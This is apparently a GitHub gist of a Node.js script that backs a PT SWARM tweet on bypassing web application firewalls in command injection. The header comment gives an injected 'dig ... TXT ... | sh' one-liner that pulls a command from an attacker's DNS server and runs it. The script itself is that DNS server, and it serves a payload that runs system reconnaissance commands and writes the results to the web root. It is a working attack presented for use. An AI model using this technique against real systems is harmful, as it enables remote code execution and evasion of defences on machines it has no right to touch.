-
-
Save mrvcoder/877de50d23c6bb1f807a56edb911be76 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env node | |
| /* | |
| Accompanying code for the tweet in PT SWARM. | |
| Tweet's text: | |
| Simple way to bypass a WAF in Command Injections! | |
| Also helps with length restrictions! | |
| Tweet's link: https://twitter.com/ptswarm/status/1799069750863270364 | |
| Bash Command: dig -t TXT ptswarm @123456 +short|cut -d Q -f 2|sh | |
| Copyright (c) 2024 Arseniy Sharoglazov | |
| License: MIT | |
| Permission is hereby granted, free of charge, to any person obtaining a copy of | |
| this software and associated documentation files (the "Software"), to deal in | |
| the Software without restriction, including without limitation the rights to | |
| use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies | |
| of the Software, and to permit persons to whom the Software is furnished to do | |
| so, subject to the following conditions: | |
| The above copyright notice and this permission notice shall be included in all | |
| copies or substantial portions of the Software. | |
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
| IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |
| FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR | |
| COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER | |
| IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN | |
| CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |
| */ | |
| var dns = require('native-dns'); | |
| var dns_server = dns.createServer(); | |
| dns_server.on('request', function(request, response) { | |
| try { | |
| console.log(request.question); | |
| response.answer.push(dns.TXT({ | |
| name: request.question[0].name, | |
| data: ['Q bash -c \'id && uname -a && ip addr\' > /var/www/output.txt Q'], | |
| ttl: 30, | |
| })); | |
| response.send(); | |
| } catch (e) {} | |
| }); | |
| dns_server.serve(53); | |
| // dns_server.serve(53, "11.22.33.44"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment